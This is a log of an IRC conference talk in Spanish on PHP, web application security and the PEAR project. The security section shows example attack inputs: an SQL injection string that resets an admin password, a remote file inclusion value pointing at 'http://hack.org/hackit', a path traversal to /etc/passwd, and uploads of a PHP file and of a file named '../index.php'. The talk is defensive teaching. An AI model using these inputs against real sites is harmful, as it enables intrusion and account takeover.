| Fernand0 | Es un placer para nosotros presentar a nuestro próximo conferenciante. |
| Fernand0 | sssssssssssssssss |
| MJesus | por favor, traductors pasen a #qc |
| Fernand0 | Se trata de Tomás VV Cox. |
| Fernand0 | Algunos de ustedes le |
| Fernand0 | conocerán por sus colaboraciones en importantes revistas informáticas: |
| Fernand0 | Ha sido redactor para la revista PC Actual durante 3 años en la seccion |
| Fernand0 | hoy en dia es administrador y desarrollador web freelance y parte |
| Fernand0 | del proyecto PEAR del PHP Group. |
| Fernand0 | Queremos agradecer al conferenciante su participación e interés en estas conferencias |
| Fernand0 | Por supuesto, agradecer a todos su presencia aquí |
| Fernand0 | Su conferencia se titula, 'Por qué la nueva programación, por qué PHP, |
| Fernand0 | seguridad de una aplicación web y PEAR'. |
| cox | no no, a vosotros por invitarme |
| Fernand0 | Sr. Cox .... |
| cox | gracias Fer |
| cox | bueno, es mi primera conferencia a traves de este medio |
| cox | asi que no seais muy severos conmigo please :) |
| cox | me gustaria dividir la conferencia en 4 partes si os parece |
| cox | para tocar un poco puntos de interes de para todos |
| cox | mi idea es: |
| cox | - Por qué la nueva programación |
| cox | - Por que PHP |
| cox | - Fallos de seguridad en aplicaciones web |
| cox | - PEAR (proyecto Open Source del PHP Group) |
| cox | comencemos pues... |
| cox | Por qué la nueva programación |
| cox | Cada día la necesidad de estar permanentemente "conectado" es más acuciante (bien, |
| cox | hablemos del mundo occidental) |
| cox | Esto significa que allá donde vayamos en una |
| cox | medida muy alta necesitaremos acceder a cierta información y tener abiertos |
| cox | canales para que la gente se comunique con nosotros |
| cox | Bien, y que tiene que ver |
| cox | la web en esto? |
| cox | La web es el medio más universalmente extendido que hoy en día |
| cox | existe para conectarse a una red que llegue practicamente a todos los lugares |
| cox | ## diganme traductores si voy muy rapido ## |
| cox | Existen navegadores y la posibilidad de acceder a Internet desde casi cualquier |
| cox | dispositivo imaginable hoy en dia, |
| cox | desde los tradicionales PCs, portátiles, |
| cox | móviles, PDAs hasta los más esotéricos como electrodomésticos, coches o |
| cox | prendas de vestir. |
| cox | Bien, esto da mucho juego y la mezcla de todo esto unido a un servicio web |
| cox | y una base de datos son inimaginables. Esto es: |
| cox | - Acceso universal |
| cox | - Reducción de los costes de instalación y mantenimiento (una aplicación web |
| cox | es única para todos sus usuarios) |
| cox | - Facilidad de aprendizaje (apenas necesitan saber manejar los 4 botones de un |
| cox | navegador y rellenar formularios web) |
| cox | - Reducción de los costes de implementación. |
| cox | Creo firmemente que es muchísimo |
| cox | más barato implementar una aplicación con un lenguaje de programación de script |
| cox | libre de tediosos procesos de depurado y |
| cox | usando un "toolkit gráfico" tan |
| cox | sencillo como el HTML, |
| cox | que una aplicacion grafica hecha en Java o "Visual *" |
| cox | ## demosle un respiro al traductor :) ## |
| cox | - Fácil acceso a múltiples fuentes de información, ficheros del sistema, |
| cox | bases de datos, otras redes, etc. |
| cox | |
| cox | Hoy en dia segun nuestra experiencia en el mundo del desarrollo web, hemos visto que muchas ideas que desconociamos que se podian hacer con la programacion web son factibles |
| cox | y funcionan realmente bien |
| cox | Nombrar'e algunas de ejemplo: |
| cox | ## acabo de recordar que mi konsole desde la ultima actualizacion no me soporta acentos, sorry :) ## |
| cox | - Mejora de procesos admistrativos (aplicando procesos de workflow sobre la web) |
| cox | (una base de datos y el uso de XML ayudaron mucho aqui) |
| cox | - Mejora de comunicación con el personal "no residente" de una empresa (como |
| cox | por ejemplo comerciales o |
| cox | técnicos que deben desplazarse a casa del cliente |
| cox | por medio de webmail, foros, web chat o SMS desde la web) |
| cox | (la extension IRCG de Mr Sasha Schumman funcionan extraordinariamente bien :) |
| cox | - Aumento de la rapidez y comodidad del acceso a la información a usuarios |
| cox | (gestión documental) |
| cox | ## otro descansito para los translators, good work! ## |
| cox | - Aumento de la rapidez y comodidad del acceso a la información a usuarios |
| cox | fuera de su puesto de trabajo (por medio de aplicaciones wap) |
| cox | |
| cox | Por qué PHP |
| cox | |
| cox | Unos numeros valen mas que mil palabras: |
| cox | http://www.netcraft.com |
| cox | 36,458,394 Dominios consultados |
| cox | 1,046,426 Direcciones IP |
| cox | 7,095,691 Dominios con PHP |
| cox | PHP instalado en el 19.46% de los dominios |
| cox | |
| cox | http://www.securityspace.com/s_survey/data/index.html |
| cox | Extensiones de Apache mas comunes: |
| cox | 2,693,434 Apache Servers evaluados |
| cox | |
| cox | 1,238,547 (45.98%) PHP |
| cox | 611,733 (22.71%) mod_ssl |
| cox | 521,126 (19.35%) OpenSSL |
| cox | 493,282 (18.31%) Frontpage |
| cox | 355,101 (13.18%) mod_perl |
| cox | 109,175 (4.05%) ApacheJServ |
| cox | Sistemas Operativos: |
| cox | -------------------- |
| cox | UNIX (all variants) ,Win32 (NT/W95/W98/W2000) ,QNX ,MacOS (WebTen) |
| cox | OSX ,OS/2 ,BeOS |
| cox | y experimentalmente en: |
| cox | OS/390 y AS/400 |
| cox | |
| cox | Servidores web (UNIX,Win32): |
| cox | ---------------------------- |
| cox | |
| cox | CGI/FastCGI ,thttpd ,fhttpd ,phttpd ,ISAPI (IIS, Zeus) ,NSAPI (Netscape iPlanet) |
| cox | Java servlet ,AOLServer ,Roxen/Caudium module |
| cox | experimentalmente: |
| cox | Apache 2.0 module ,Tux ,pi3web |
| cox | Bases de datos: |
| cox | --------------- |
| cox | |
| cox | Adabas D, Empress, IBM DB2 ,Informix ,Ingres ,Interbase ,Frontbase ,mSQL |
| cox | Direct MS-SQL ,MySQL ,ODBC ,Ovrimos ,Oracle (OCI7,OCI8) ,PostgreSQL |
| cox | Raima Velocis ,Solid ,Sybase ,DB++ ,dBase ,filePro (read-only) |
| cox | dbm (ndbm, gdbm, Berkeley db) |
| cox | |
| cox | y como curiosidad: |
| cox | Generación/Tratamiento de Graficos (Extensiones soportadas): |
| cox | ------------------------------------------------------------ |
| cox | |
| cox | PDf, GD, Imlib2, ImageMagik, Flash, AT&T's GraphViz, SVG |
| cox | |
| cox | todo esto le da a uno la flexibilidad suficiente como para disponer |
| cox | practicamente de todo lo que uno pueda necesitar |
| cox | |
| cox | y ahora pasemos a lo divertido :) |
| cox | |
| cox | Seguridad de una aplicación web |
| cox | |
| cox | La programación web no es tan sencilla como a primera vista puede parecer. |
| cox | Primero |
| cox | porque todo lo que pones en una página web puede ser fácilmente |
| cox | falseados (ahora me explico mejor) |
| cox | y segundo porque el acceso a una aplicacion web suele estar abierto a todo el mundo |
| cox | (esto suele ser un requisito) |
| cox | Algunos puntos criticos: |
| cox | - El usuario siempre miente: |
| cox | Si uno en un simple formulario web pone el típico campo |
| cox | desplegable (<select>) con una serie de opciones no modificables |
| cox | , espera |
| cox | recibir alguna de las opciones ahi especificadas |
| cox | En la programación |
| cox | web, es el navegador el que se encarga de mandar los datos que el usuario ha |
| cox | rellenado. |
| cox | Este navegador lo que hace realmente es transformar los datos |
| cox | que el usuario introduce en sencillas peticiones HTTP |
| cox | Estas peticiones |
| cox | las puede crear uno mismo, poner cualquier dato y enviarlas a la página. |
| cox | Puediendo llevar al traste con la integridad de nuestra base de datos |
| cox | (aunque generalmente resuelto creando adecuadamente las tablas, KEYs, NOT NULLs, REFERENCEs, CHECKs, etc) |
| cox | |
| cox | - No realizar escape de caracteres adecuados al realizar consultas a la base |
| cox | de datos. |
| cox | Por ejemplo, en el típico caso de la página para que el el usuario |
| cox | se puede actualizar su password encontraríamos una sentencia como: |
| cox | |
| cox | $sql = "update users set pass='$pass' where id=100"; |
| cox | |
| cox | Imaginad que yo introduzco como password en el formulario la cadena: |
| cox | |
| cox | "hacker' where name='admin'; /*" |
| cox | |
| cox | Esto resultaria en que el query que se acaba ejecutando contiene: |
| cox | |
| cox | |
| cox | $sql = "update users set pass='hacker' where name='admin'; /*' where id=100"; |
| cox | Ouch, acabo de actualizar el password del administrador :) |
| cox | Bugs de este tipo han sido explotados a |
| cox | cientos en aplicaciones web como el famoso bug del extendido gestor |
| cox | de foros web phpBB. |
| cox | (tengo un amigo que un dia se levanto y se encontro con que su credibilidad |
| cox | habia caido por los suelos al ser suplantado como admin |
| cox | en el foro que el llevaba) |
| cox | _Siempre_ se debe escapar los caracteres de las variables provenientes del |
| cox | usuario de la forma adecuada a cada motor de bases de datos que usemos. |
| !bio.hgy.es! Remote CONNECT ub.es.uninet.edu 4400 from HoraPe |
| cox | |
| cox | - Apertura de archivos del sistema de ficheros. |
| cox | En la medida de lo posible |
| cox | no hacerlo y |
| cox | si hay absoluta necesidad idealmente que la selección del archivo |
| cox | se haga desde una lista predeternimada (por ejemplo de un array) |
| cox | Por poner un ejemplo ilustrativo, en una página que muestre cabeceras |
| cox | diferentes según el skin que haya seleccionado el usuario: |
| cox | |
| cox | $skin suponemos que deberia ser cosas como "red" |
| cox | include($skin . ".php"); |
| cox | |
| cox | ## un respiro a los traductores ## |
| cox | No tendríamos más que pasar un valor de $skin como: "http://hack.org/hackit", |
| cox | para que se acabe incluyendo el fichero: |
| cox | "http://hack.org/hackit.php" |
| cox | y el |
| cox | atacante consiga ejecutar su propio código PHP con los permisos del usuario |
| cox | del servidor web. |
| cox | El famoso primer "virus" hecho en PHP iba precisamente de esto. |
| cox | ## he recibido algunas quejas por usar "hack" en vez de "crack", |
| cox | esto debe ser tomado como lectura de "hackear" nuestro sistema |
| cox | y no para "crackear" otros, ok? ;) ## |
| cox | Otra cosa típica es no escapar adecuadamente los nombres de ficheros, como |
| cox | por ejemplo cuando te meten algo parecido a: "../../../../etc/passwd" o |
| cox | no escapar adecuadamente los comandos del sistema que vayamos a ejecutar. |
| cox | |
| cox | - Poner las librerías fuera del document root. Una típica estructura de ficheros: |
| cox | Listado de ficheros del document root del site: http://sillysite.com/ |
| cox | index.php |
| cox | include/default.inc |
| cox | images/nogifs.png |
| cox | |
| cox | Es muy común usar extensiones ".inc" para diferenciar los ficheros que son |
| cox | librerías y los que no. |
| cox | Pero claro es muy común tambíen que los ".inc" |
| cox | no sean parte de las extensiones que deben ser manajadas por el intérprete |
| cox | de PHP. |
| cox | ## despues de la conf habra session de preguntas por si alguien quiere ## |
| cox | Lo cual resulta es que si yo llamo a la url: |
| cox | http://sillysite.com/include/default.inc |
| cox | todo el código php me será devuelto como texto, poniendo al descubierto muchos |
| cox | datos sensibles como nombres de usuarios y password de acceso a bases de datos, etc |
| cox | |
| cox | - Los uploads, tu fuente de perdición: |
| cox | Muy típico y en la mayor parte de los casos, |
| cox | es el tener el directorio donde se realizan los uploads dentro del document root. |
| cox | Esto es algo peligroso y explotable de muchas formas. Mencionemos algunas: |
| cox | a) Siempre chekear las extensiones de los ficheros que se suben. |
| cox | ## digo peligroso no que no sea necesario la mayoria de las veces ## |
| cox | Ejemplo de |
| cox | por qué: subo el fichero hackit.php y llamo a la dirección: |
| cox | http://sillysite.com/uploads/hackit.php |
| cox | El simple servicio de uploads resulta que se convierte de la noche en |
| cox | un cómodo servicio de actualización remota de exploits :) |
| cox | Y sino que se lo digan a los |
| cox | de Apache que les hackearon la web así. |
| cox | b) No escapar los nombres de los ficheros. Yo podría subir un fichero con nombre |
| cox | "../index.php" falseando un POST y si en el código tengo algo así como: |
| cox | |
| cox | rename($userfile, "uploads/" . $userfile_name); |
| cox | |
| cox | Podría sobreescribir el fichero index.php con mi propio código. |
| cox | |
| cox | - Y bueno otro sin fin de cosas como |
| cox | tener activado el "register_globals" y no inicializar apropiadamente las variables |
| cox | (varios de estos fallos abrieron vulnerabilidades importantes en PHPNuke) |
| cox | o |
| cox | intentar "asegurar" el acceso a aplicaciones web confiando en |
| cox | el contenido del $REFERER |
| cox | (que recordemos es algo que manda el navegador y |
| cox | por lo tanto falsificable). |
| cox | |
| cox | Como andiamo de tiempo? |
| cox | contró |
| cox | hablare del PEAR mas brevemente para mi desgracia |
| cox | |
| cox | PEAR - PHP Extension & Application Repository |
| cox | |
| cox | El PEAR es un proyecto Open Source creado por el PHP Group con el objectivo de crear |
| cox | una gran biblioteca de clases de calidad escritas en PHP. |
| cox | Todas ellas accesibles desde un repositorio web comun |
| cox | y facilmente instalablas por medio de un sistema de gestion de paquetes |
| cox | (tipo RPM para que os hagais una idea) |
| cox | El proyecto lo fundo Stig S. Bakken, miembro del PHP Group |
| cox | Stig entre otros ha sido el creador de la extension Oracle de PHP, la XML o toda la arquitectura de compilacion |
| cox | del lenguaje sobre plataformas Unix |
| cox | Lo que mas me choco es que empezo el proyecto dos horas despues de nacer su primera hija Malin, |
| cox | a la cual debemos todo esto. |
| cox | Eso es ser un hacker, lo demas son tonterias ;) |
| cox | En el PEAR podeis |
| cox | encontrar actualmente software de gran calidad que abarca gran cantidad |
| cox | de funcionalidades. |
| cox | El PEAR recibe actualmente contribuciones de los mayores hackers |
| cox | gente como Rasmus, Andrei, Bergman, Huges, etc |
| cox | a esta charla han venido algunos como Richard Hayes (creador de la tan usada clase de envio de correo via SMTP) |
| cox | o Morgan (que fue desarrollador de Phorum 4 y que actualmente se ha contruido PEAR_Forum) |
| cox | La aplicacion estrella hoy en dia del PEAR es la clase de abstraccion de base de datos PEAR DB |
| cox | aunque ultimamente hemos tenido bastante movimiento en este punto |
| cox | al ser propuesta la idea de la unificacion de todas las clases |
| cox | de abstraccion de bases de datos en una sola. |
| cox | Alli podreis ver las encarnizadas guerras con Manuel Lemos (de Metabase, MetaL y phpclasses.uperdesign.com) |
| cox | y John Limn (ADODB y phplens.com) |
| cox | Bueno no me quiero enrrollar mas, solo daros algunos datos mas |
| cox | por si a alguien le interesa introducirse en el apasionante mundo |
| cox | del PEAR: |
| cox | http://pear.php.net (actualmente la estamos haciendo todavia, no hay demasiada informacion) |
| cox | pear-dev@lists.php.net (tambien accesible por el server de news en news.php.net |
| cox | y para mirar que cosas podeis encontrar alli recomiendo: |
| cox | http://cvs.php.net |
| cox | en: |
| cox | /pear |
| cox | y |
| cox | /php4/pear |
| cox | Actualmente creo haber contado mas de 80 clases que abarcan casi todo, Fechas, XML, Ficheros, Redes, ... |
| cox | ah si.. mirad en http://pear.php.net en la parte de "support" y "faq" |
| cox | |
| cox | ok.. eso es todo :) |
| MJesus | clap clap clap clap clap clap clap clap clap clap |
| MJesus | clap clap clap clap clap clap clap clap clap clap |
| MJesus | clap clap clap clap clap clap clap clap clap clap |
| MJesus | clap clap clap clap clap clap clap clap clap clap |
| MJesus | clap clap clap clap clap clap clap clap clap clap |
| MJesus | clap clap clap clap clap clap clap clap clap clap |
| MJesus | clap clap clap clap clap clap clap clap clap clap |
| Chess | torero torero torero torero torero torero torero |
| Chess | torero torero torero torero torero torero torero |
| Oroz | :) |
| MJesus | clap clap clap clap clap clap clap clap clap clap |
| MJesus | clap clap clap clap clap clap clap clap clap clap |
| MJesus | clap clap clap clap clap clap clap clap clap clap |
| E0x | pla plax X100 |
| Ston | plas plas plas plas plas plas plas plas plas plas |
| ismak | bravo ;-) |
| Ston | plas plas plas plas plas plas plas plas plas plas |
| Ston | plas plas plas plas plas plas plas plas plas plas |
| MJesus | bravoooooooooooooooooooooooooooo |
| Chess | ole ole ole ole ole ole ole ole ole |
| MJesus | bravoooooooooooooooooooooooooooo |
| MJesus | bravoooooooooooooooooooooooooooo |
| E0x | pla plax X100 |
| Chess | campeon!!!! |
| peter11 | plas plas plas plas pla s plas plas plas plas plas plas |
| peter11 | plas plas plas plas pla s plas plas plas plas plas plas |
| peter11 | plas plas plas plas pla s plas plas plas plas plas plas |
| viZard | MJesus: hay tiempo para las pregutas? |
| cox | espero que os haya gustado |
| vespa_spc | bravoo!!! |
| vespa_spc | bravoo!!! |
| vespa_spc | aplause! |
| vespa_spc | aplause! |
| vespa_spc | aplause! |
| peter11 | gracias gracias |
| Maite | gracias |
| Chess | otra! otra! otra! |
| peter11 | ay que va... |
| Flood | plas plas |
| Flood | plas plas |
| Flood | plas plas |
| Flood | plas plas |
| Flood | plas plas |
| peter11 | otra! otra! otra! |
| peter11 | vamos...!!! |
| Ston | uh |
| cox | lol |
| Chess | while (true) echo "plas"; |
| mhornae | esa estuvo buen lo de la linea de programación |
| Ston | X) |
| cox | Gracias gente |
| MJesus | clap clap clap clap clap clap clap clap clap clap |
| MJesus | clap clap clap clap clap clap clap clap clap clap |
| MJesus | clap clap clap clap clap clap clap clap clap clap |